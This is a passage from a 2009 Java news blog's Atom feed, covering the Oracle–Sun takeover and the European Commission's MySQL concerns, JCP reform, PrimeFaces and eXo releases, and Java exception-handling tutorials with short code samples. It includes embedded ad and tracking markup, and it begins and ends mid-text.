per server per year and is also available through an unlimited site-wide agreement, starting at $40,000 a year.&lt;/p&gt; &lt;p&gt;The European Commission's worries that Oracle will starve MySQL of resources led it to open a full-fledged investigation of Oracle's proposed acquisition of Sun last week that threw a monkey wrench into Oracle's takeover schedule.&lt;/p&gt; &lt;p&gt;Oracle wanted the deal to be closed by now. The EC probe could take until mid-January and there are no guarantees it'll pass inspection or that concessions won't be sought.&lt;/p&gt; &lt;p&gt;Anyway, in the meantime, Sun says the graphical enhancements made to the MySQL Enterprise Monitor's Query Analyzer should help DBAs and developers pinpoint database queries better and avoid performance problems.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-6211664757933082557?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/6211664757933082557/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=6211664757933082557' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6211664757933082557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6211664757933082557'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/sun-tinkers-with-mysql.html' title='Sun Tinkers with MySQL'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-3660407293778671183</id><published>2009-09-09T16:41:00.000-07:00</published><updated>2009-09-09T16:42:26.069-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>PrimeFaces Dual Release</title><content type='html'>&lt;b&gt;UI Component 0.9.2&lt;/b&gt;&lt;br /&gt;UI Components 0.9.2 includes important performance updates, new components and improvements on Partial Page Rendering infrastructure. Significant changes of this release are as following;&lt;br /&gt;&lt;br /&gt;* New component : Wizard&lt;br /&gt;* New component : Layout Framework&lt;br /&gt;* New component : Growl&lt;br /&gt;* New component : Stack&lt;br /&gt;* New component : Collector&lt;br /&gt;* Every resource that is included to the page is now compressed by YUI compressor, this leads to a significant improve in page load times.&lt;br /&gt;* Plain Html is now supported in partial response with Facelets.&lt;br /&gt;&lt;br /&gt;Full changelog is availabe at &lt;a href="http://code.google.com/p/primefaces/issues/list?can=1&amp;amp;q=label%3AModule-UI%20label%3ATargetVersion-0.9.2%20status%3AFixed"&gt;here&lt;/a&gt;. Next version 0.9.3 will feature better portlet support, enhanced datatable and new components like dualList, sortList and keyboard.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Optimus 0.8.0&lt;/b&gt;&lt;br /&gt;Entire persistence support is rewritten to support warp-persist. Optimus simply orchestrates the&lt;b&gt; JSF-Guice-JPA&lt;/b&gt; technology stack.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-3660407293778671183?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/3660407293778671183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=3660407293778671183' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3660407293778671183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3660407293778671183'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/primefaces-dual-release.html' title='PrimeFaces Dual Release'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5910083775999851273</id><published>2009-09-09T16:38:00.000-07:00</published><updated>2009-09-09T16:40:19.584-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>eXo Platform Extends JBoss GateIn with ECM and Collaboration</title><content type='html'>eXo built its applications to plug into its portal technology, which now comprises a significant portion of the GateIn code base. Earlier this year, eXo and Red Hat merged their open source portal development efforts, with GateIn the first major deliverable to be unveiled. Given this pedigree, eXo’s application modules are inherently optimized for GateIn and will be tightly integrated with the roadmap.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;"Red Hat has proven time and again that it knows how to commercialize open source for the enterprise market. With GateIn, the foundation has been laid for another game changing enterprise solution for a portal infrastructure market underserved by open source," said &lt;b&gt;Benjamin Mestrallet, CEO of eXo Platform&lt;/b&gt;. "We're pleased to have partnered with Red Hat in the creation of GateIn, and we intend to ensure that our eXo stack will support and align with Red Hat’s enterprise portal strategy in future."&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;"Red Hat is very pleased with the progress of GateIn and our collaboration with eXo," said &lt;b&gt;Stephen Hess, Sr. Director of Product Management, JBoss&lt;/b&gt;. "We are also excited that eXo is deepening their commitment to the project and JBoss Enterprise Portal Platform by certifying their other products with GateIn. We believe that this news will provide enterprise customers more options and sets a new standard for value in the very competitive portal marketplace."&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The eXo stack is an integrated suite of enterprise content management, document management, and collaboration applications that enable people to work smarter and more effectively across business, technical, and operational functions. Built in partnership with eXo customers and partners, the eXo stack is both modular, so customers can use as little or as much of the stack as they need, and integrated, so whatever combination customers choose works out of the box.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5910083775999851273?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5910083775999851273/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5910083775999851273' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5910083775999851273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5910083775999851273'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/exo-platform-extends-jboss-gatein-with.html' title='eXo Platform Extends JBoss GateIn with ECM and Collaboration'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-417651478399922028</id><published>2009-09-09T16:35:00.000-07:00</published><updated>2009-09-09T16:38:05.404-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>EC will investigate the Oracle/Sun takeover due to concerns about MySQL</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://static.guim.co.uk/sys-images/Guardian/Pix/pictures/2009/9/3/1251987467023/sun-oracle_x460.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 460px; height: 310px;" src="http://static.guim.co.uk/sys-images/Guardian/Pix/pictures/2009/9/3/1251987467023/sun-oracle_x460.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It looks as though the EC might wreck the deal to save Sun due to its Competition department's ignorant prejudice against proprietary software&lt;br /&gt;&lt;p&gt;The &lt;a href="http://www.guardian.co.uk/world/european-commission"&gt;European Commission&lt;/a&gt;'s Competition Commissioner Neelie Kroes says: "The commission has to examine very carefully the effects on competition in Europe when the world's leading proprietary database company proposes to take over the world's leading open source database company." (Quoted from &lt;a href="http://www.bloomberg.com/apps/news?pid=20601087&amp;amp;sid=amHPuPBJ.PAc"&gt;Bloomberg&lt;/a&gt;.)&lt;/p&gt;&lt;p&gt;The US Justice Department has already cleared the $7.4bn deal, which involves two American companies. However, so many American companies have used "&lt;a href="http://online.wsj.com/article/SB114946738237471103.html"&gt;anti-trust tourism&lt;/a&gt;" for their own competitive ends -- getting the EU to act against American rivals -- that they can't really complain about European interference in US affairs.&lt;br /&gt;&lt;br /&gt;Neelie's concerns are, as usual, clueless, and could well be commercially damaging -- she wants to shovel sand into the engine of the European economy. Perhaps someone could explain to her that it's perfectly acceptable to produce proprietary software. Indeed, many hundreds of thousands of European jobs, and almost all of Europe's software industry, depends on its production. &lt;/p&gt;&lt;p&gt;Unfortunately, Neelie and her crew obviously don't understand that "open source" is not the same as "open standards", and nor is it the opposite of "proprietary". &lt;/p&gt;&lt;p&gt;The key standard for databases is the open standard for &lt;a href="http://en.wikipedia.org/wiki/SQL"&gt;SQL (Structured Query Language)&lt;/a&gt;, which both &lt;a href="http://www.guardian.co.uk/technology/oracle"&gt;Oracle&lt;/a&gt; and MySQL and many other databases support. If the EC wants to do something useful, it could mandate an SQL interoperability standard for European government purchasing. (Database vendors may have some proprietary elements to their implementation of the open SQL standard, which can hinder making queries across multiple databases.) &lt;/p&gt;&lt;p&gt;What competition needs is a choice of interoperable SQL databases. Interfering in the &lt;em&gt;means of production&lt;/em&gt; of these SQL databases is none of the EC's business.&lt;/p&gt;&lt;p&gt;If the EC rules against the takeover, Sun might try to spin off MySQL. It's a trivial part of Sun's turnover (there's no money in free software), and Sun only bought it in January last year. Although it paid a ludicrous amount for the company (roughly $1bn), it has little chance of selling it to anyone else, especially since, in the words of MySQL's founder and original developer &lt;a href="http://monty-says.blogspot.com/2009/04/to-be-free-or-not-to-be-free.html"&gt;Michael Widenius&lt;/a&gt;:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Sun's acquisition of MySQL did not go smoothly; most of the MySQL leaders (both commercial and project) have left Sun and the people who are left are sitting with their CV and ready to press send.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;In fact, there's no evidence that Oracle would be a worse custodian for MySQL than Sun, which has made a pig's ear of both OpenOffice and the MySQL takeover. Indeed, Oracle already supports some open source database projects, such as BerkeleyDB and InnoDB. For example, &lt;a href="http://www.oracle.com/technology/tech/opensource/oracle-open-source-faq.html"&gt;Oracle's Open Source FAQ page&lt;/a&gt; points out that:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Oracle continues to develop and offer Berkeley DB as an open source product. Oracle Berkeley DB is the most widely used open source database in the world with deployments estimated at more than 200 million.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;and &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Created by Oracle subsidiary Innobase Oy, InnoDB is the leading transactional storage engine for the popular MySQL open source database. Innobase also develops and distributes the InnoDB Plugin, Embedded InnoDB and InnoDB Hot Backup.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;I'm not that big a &lt;a href="http://en.wikipedia.org/wiki/Larry_Ellison"&gt;Larry Ellison&lt;/a&gt; fan, but I can't see that MySQL would be worse off at Oracle than it has been at Sun.&lt;/p&gt;&lt;p&gt;Either way, Sun is in &lt;a href="http://articles.latimes.com/2006/jun/01/business/fi-sun1"&gt;long term decline&lt;/a&gt;, and it has already &lt;a href="http://ostatic.com/blog/sun-microsystems-was-shopped-around-to-potential-buyers-for-months"&gt;shopped itself around the usual suspects&lt;/a&gt; without finding any other company willing to save it -- not even IBM. Presumably even an organisation as consistently stupid as the EC's competition department should be able to figure out that Sun going to the wall is likely to prove more damaging than Oracle getting custody of MySQL.&lt;/p&gt;&lt;p&gt;Since the intention is to decide by 19 January, they have four months to figure it out.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-417651478399922028?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/417651478399922028/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=417651478399922028' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/417651478399922028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/417651478399922028'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/ec-will-investigate-oraclesun-takeover.html' title='EC will investigate the Oracle/Sun takeover due to concerns about MySQL'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7574596735548837810</id><published>2009-09-09T16:34:00.000-07:00</published><updated>2009-09-09T16:35:26.758-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Oracle should relax Sun's Java Community control grip</title><content type='html'>&lt;p&gt;If Oracle &lt;a target="_blank" href="http://www.theregister.co.uk/2009/09/03/oracle_sun_merger_investigation/"&gt;ends up owning&lt;/a&gt; Sun Microsystems, it's got a one-off opportunity to correct the mistakes of the past when it comes to working with open source on Java.&lt;/p&gt;  &lt;p&gt;The database giant should relax Sun's tight control over the Java Community Process (JCP), the body responsible for stewarding Java. And as part of this, Oracle should solve the long-running and contentious issue of open-sourcing the test compatibility kits (TCKs) that test implementations of Java.&lt;/p&gt;  &lt;div id="article-mpu-container"&gt; &lt;div style="width: auto; height: auto;" class="ad-now" id="ad-mpu1-spot"&gt; &lt;div id="ad-mpu1"&gt;&lt;script type="text/javascript"&gt;RegAd('mpu1', 'reg.software.4159/developer', 'pos=top;sz=336x280', VCs);&lt;/script&gt;&lt;script type="text/javascript" src="http://ad.uk.doubleclick.net/adj/reg.software.4159/developer;tile=2;dcove=d;cta=0;ctb=0;ctc=redesign;sc=1;cid=;test=;pid=94526;pf=0;kw=oracle;kw=linux;kw=open%20source;kw=sun;kw=java;cp=0;vc=soft.developer;pos=top;sz=336x280;ord=281936910?"&gt;&lt;/script&gt;&lt;!-- Template Id = 1 Template Name = Banner Creative (Flash) --&gt; &lt;!-- Copyright 2002 DoubleClick Inc., All rights reserved. --&gt;&lt;script src="http://m1.emea.2mdn.net/879366/flashwrite_1_2.js"&gt;&lt;/script&gt; &lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="FLASH_AD" width="336" height="280"&gt;&lt;param name="movie" value="http://m1.emea.2mdn.net/1477312/agile_data_center_mu.swf"&gt;&lt;param name="flashvars" value="clickTag=http%3A%2F%2Fad.uk.doubleclick.net%2Fclick%253Bh%3Dv8%2F38a3%2F3%2F0%2F%252a%2Fg%253B217184597%253B0-0%253B1%253B27381302%253B4252-336%2F280%253B32927342%2F32945219%2F3%253B%253B%257Esscs%253D%253fhttp%3A%2F%2Fwhitepapers.theregister.co.uk%2Fpaper%2Fview%2F857%2F%3Ftd%3Dd-217184597"&gt;&lt;param name="quality" value="high"&gt;&lt;param name="bgcolor" value="#"&gt;&lt;param name="wmode" value="opaque"&gt;&lt;param name="AllowScriptAccess" value="never"&gt;&lt;embed src="http://m1.emea.2mdn.net/1477312/agile_data_center_mu.swf?clickTag=http%3A%2F%2Fad.uk.doubleclick.net%2Fclick%253Bh%3Dv8%2F38a3%2F3%2F0%2F%252a%2Fg%253B217184597%253B0-0%253B1%253B27381302%253B4252-336%2F280%253B32927342%2F32945219%2F3%253B%253B%257Esscs%253D%253fhttp%3A%2F%2Fwhitepapers.theregister.co.uk%2Fpaper%2Fview%2F857%2F%3Ftd%3Dd-217184597" quality="high" wmode="opaque" swliveconnect="TRUE" bgcolor="#" type="application/x-shockwave-flash" allowscriptaccess="never" width="336" height="280"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;noscript&gt;&lt;a target="_top" href="http://ad.uk.doubleclick.net/click%3Bh=v8/38a3/3/0/%2a/g%3B217184597%3B0-0%3B1%3B27381302%3B4252-336/280%3B32927342/32945219/3%3B%3B%7Esscs%3D%3fhttp://whitepapers.theregister.co.uk/paper/view/857/?td=d-217184597"&gt;&lt;img src="http://m1.emea.2mdn.net/1477312/ad-agile_data_center_mu.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;/noscript&gt;&lt;/div&gt; &lt;noscript&gt; &lt;a href="http://ad.uk.doubleclick.net/jump/reg.software.4159/developer;tile=2;pos=top;dcove=d;sz=336x280;ord=Sqg6JcCoZGQAAF7c2NYAAACq?" target="_blank"&gt;&lt;img src="http://ad.uk.doubleclick.net/ad/reg.software.4159/developer;tile=2;pos=top;dcove=d;sz=336x280;ord=Sqg6JcCoZGQAAF7c2NYAAACq?" alt="" /&gt;&lt;/a&gt; &lt;/noscript&gt; &lt;/div&gt;  &lt;p&gt;That's according to long-time advocate of JCP reform and leading open-source Java developer Rod Johnson. He told &lt;em&gt;The Reg&lt;/em&gt; recently it would be an "absolute no-brainer" for Oracle to resolve the intellectual property issues in the TCKs that Sun has given for not opening the kits.&lt;/p&gt; &lt;/div&gt;  &lt;p&gt;"That's a gesture that would be receive extremely well," Johnson said, speaking ahead of the news the European Commission will investigate Oracle's proposed purchase of Sun. "If they don't do that, they are throwing away an opportunity."&lt;/p&gt;  &lt;p&gt;What Oracle actually has in store for the JCP on this issue is unclear. It's understood to have met with JCP members and delivered a brief statement of principles. The meeting - and the statement - are both under a non-disclosure agreement that potentially prevents people discussing it.&lt;/p&gt;  &lt;p&gt;The JCP was created by Sun in 1998 as the body to make changes to Java and enforce compatibility and prevent fragmentation. It was created when Sun's attempts to have Java ratified as an independent, international standard failed in the mid 1990s.&lt;/p&gt;  &lt;p&gt;Today, many of the ideas in Java are coming from the community outside the JCP, yet the JCP retains ultimate authority over what goes into Java and on compatibility - despite Sun open-sourcing Java a few years back.&lt;/p&gt;  &lt;p&gt;For all its evangelism - and its initial decision to open source Java - Sun has refused to open the TCKs, infuriating and frustrating the open-source community.&lt;/p&gt;  &lt;p&gt;This has led to accusations that Sun is hindering - not helping - open-source Java projects such as Harmony from the Apache Software Foundation (ASF), backed strongly by IBM.&lt;/p&gt;  &lt;p&gt;While Apache's has been able to build an implementation of Java Standard Edition under Project Harmony thanks to the opening of Java, Harmony cannot be certified because the TCKs contain proprietary code the open-source code cannot touch. Harmony, therefore, remains stuck in a limbo of having been built but being uncertified.&lt;/p&gt;  &lt;p&gt;It's believed this has seen potential users shy away from using Harmony and stick with the official JCP's official implementation of Java SE. This has been an important spec, because it also formed the basis of Java Enterprise Edition, used in older application servers such as IBM's WebSphere and Oracle's WebLogic.&lt;/p&gt;  &lt;p&gt;Given Apache is backed by IBM - Sun's main systems and Java rival over the years - the refusal to open the TCKs is seen as a political move on the part of Sun.&lt;/p&gt;  &lt;p&gt;It's particularly incumbent on Oracle to move on this, because while it has a healthy record of contributing to open source at an engineering level on Linux, Oracle's numerous contributions are overshadowed by its political machinations that mean people don't trust it.&lt;/p&gt;  &lt;p&gt;For example, it upset the MySQL community by buying transaction engine InnoDB for no other reason than to apparently throw people off their balance. Oracle, meanwhile, has tried to kill Red Hat by launching a rival Linux support service to steal its business with its Unbreakable Linux. Oracle's chief executive Larry Ellison has a history of not wanting to be beholden to operating-systems companies. That's why he backed Linux so early against Windows in the late 1990s. Only now, Red Hat is the dominant Linux distribution.&lt;/p&gt;  &lt;p&gt;"Oracle doesn't get a huge amount of trust in the open-source community," Johnson observed. "Had IBM owned Sun people wouldn't have assumed IBM was going to thrash the open-source elements, but with Oracle they don't have an open-source track record so there's more concern."&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7574596735548837810?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7574596735548837810/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7574596735548837810' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7574596735548837810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7574596735548837810'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/oracle-should-relax-suns-java-community.html' title='Oracle should relax Sun&apos;s Java Community control grip'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8067311442311124736</id><published>2009-09-09T16:12:00.000-07:00</published><updated>2009-09-09T16:27:16.814-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>EU Could Increase Oracle's Challenge Integrating Sun Micro</title><content type='html'>&lt;p&gt; SAN FRANCISCO (Dow Jones)--The prospect of an in-depth European antitrust review of its acquisition of Sun Microsystems Inc. (JAVA) could add to the challenges Oracle Corp. (ORCL) faces integrating the server, storage and software giant. &lt;/p&gt; &lt;p&gt; The European Commission, the European Union's competition body, is hesitating on whether to clear the database giant's $7.4 billion deal to buy Sun or launch a full probe that could take up to four months to complete, according to a person familiar with the authority's thinking. The commission must decide by the end of Thursday. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8067311442311124736?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8067311442311124736/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8067311442311124736' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8067311442311124736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8067311442311124736'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/eu-could-increase-oracles-challenge.html' title='EU Could Increase Oracle&apos;s Challenge Integrating Sun Micro'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-2642085246487827664</id><published>2009-04-03T16:01:00.001-07:00</published><updated>2009-04-03T16:01:32.005-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Specifying the Exceptions Thrown by a Method</title><content type='html'>The previous section showed how to write an exception  handler for the &lt;code&gt;writeList&lt;/code&gt; method in the  &lt;code&gt;ListOfNumbers&lt;/code&gt; class. Sometimes, it's appropriate  for code to catch exceptions that can occur within it.  In other cases, however, it's better to let a method further  up the call stack handle the exception. For example, if you  were providing the &lt;code&gt;ListOfNumbers&lt;/code&gt; class as part  of a package of classes, you probably couldn't anticipate  the needs of all the users of your package. In this case,  it's better to &lt;em&gt;not&lt;/em&gt; catch the exception and to allow a method  further up the call stack to handle it.  &lt;p&gt; If the &lt;code&gt;writeList&lt;/code&gt; method doesn't catch the checked  exceptions that can occur within it, the &lt;code&gt;writeList&lt;/code&gt;  method must specify that it can throw these exceptions. Let's  modify the original &lt;code&gt;writeList&lt;/code&gt; method to specify the  exceptions it can throw instead of catching them. To remind  you, here's the original version of the &lt;code&gt;writeList&lt;/code&gt;  method that won't compile.   &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;// Note: This method won't compile by design!&lt;br /&gt;public void writeList() {&lt;br /&gt;   PrintWriter out =&lt;br /&gt;              new PrintWriter(new FileWriter("OutFile.txt"));&lt;br /&gt;   for (int i = 0; i &lt; SIZE; i++) {&lt;br /&gt;       out.println("Value at: " + i + " = "&lt;br /&gt;                    + vector.elementAt(i));&lt;br /&gt;   }&lt;br /&gt;   out.close();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; To specify that &lt;code&gt;writeList&lt;/code&gt; can throw two exceptions,  add a &lt;code&gt;throws&lt;/code&gt; clause to the method declaration  for the &lt;code&gt;writeList&lt;/code&gt; method. The &lt;code&gt;throws&lt;/code&gt;  clause comprises the &lt;code&gt;throws&lt;/code&gt; keyword followed by a  comma-separated list of all the exceptions thrown by that method.  The clause goes after the method name and argument list and before  the brace that defines the scope of the method; here's an example.  &lt;blockquote&gt;&lt;pre&gt;public void writeList() &lt;b&gt;throws IOException,&lt;br /&gt;                              ArrayIndexOutOfBoundsException&lt;/b&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; Remember that &lt;code&gt;ArrayIndexOutOfBoundsException&lt;/code&gt; is an unchecked exception; including it in the &lt;code&gt;throws&lt;/code&gt; clause is not mandatory.  You could just write the following. &lt;blockquote&gt;&lt;pre&gt;public void writeList() &lt;b&gt;throws IOException&lt;/b&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-2642085246487827664?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/2642085246487827664/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=2642085246487827664' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2642085246487827664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2642085246487827664'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/specifying-exceptions-thrown-by-method.html' title='Specifying the Exceptions Thrown by a Method'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-1968431299107369854</id><published>2009-04-03T16:00:00.001-07:00</published><updated>2009-04-03T16:00:55.236-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Putting It All Together</title><content type='html'>&lt;blockquote&gt; The previous sections described how to construct the &lt;code&gt;try&lt;/code&gt;, &lt;code&gt;catch&lt;/code&gt;, and &lt;code&gt;finally&lt;/code&gt; code blocks for the &lt;code&gt;writeList&lt;/code&gt; method in the &lt;code&gt;ListOfNumbers&lt;/code&gt; class.     Now, let's walk through the code and investigate what can happen. &lt;p&gt; When all the components are put together, the &lt;code&gt;writeList&lt;/code&gt; method looks like the following. &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;public void writeList() {&lt;br /&gt;   PrintWriter out = null;&lt;br /&gt;&lt;br /&gt;   try {&lt;br /&gt;       System.out.println("Entering try statement");&lt;br /&gt;       out = new PrintWriter(&lt;br /&gt;                   new FileWriter("OutFile.txt"));&lt;br /&gt;           for (int i = 0; i &lt; SIZE; i++)&lt;br /&gt;               out.println("Value at: " + i + " = "&lt;br /&gt;                            + vector.elementAt(i));&lt;br /&gt;   &lt;br /&gt;   } catch (ArrayIndexOutOfBoundsException e) {&lt;br /&gt;        System.err.println("Caught "&lt;br /&gt;                    + "ArrayIndexOutOfBoundsException: "&lt;br /&gt;                    +   e.getMessage());&lt;br /&gt;    &lt;br /&gt;   } catch (IOException e) {&lt;br /&gt;        System.err.println("Caught IOException: "&lt;br /&gt;                            +  e.getMessage());&lt;br /&gt;    &lt;br /&gt;   } finally {&lt;br /&gt;        if (out != null) {&lt;br /&gt;            System.out.println("Closing PrintWriter");&lt;br /&gt;            out.close();&lt;br /&gt;  &lt;br /&gt;        }&lt;br /&gt;        else {&lt;br /&gt;            System.out.println("PrintWriter not open");&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; As mentioned previously, this method's &lt;code&gt;try&lt;/code&gt; block  has three different exit possibilities; here are two of them. &lt;ol&gt;&lt;li&gt; Code in the &lt;code&gt;try&lt;/code&gt; statement fails and throws an exception. This could be an &lt;code&gt;IOException&lt;/code&gt; caused by the &lt;code&gt;new FileWriter&lt;/code&gt; statement or an &lt;code&gt;ArrayIndexOutOfBoundsException&lt;/code&gt; caused by a wrong index value in the &lt;code&gt;for&lt;/code&gt; loop.  &lt;/li&gt;&lt;li&gt; Everything succeeds and the &lt;code&gt;try&lt;/code&gt; 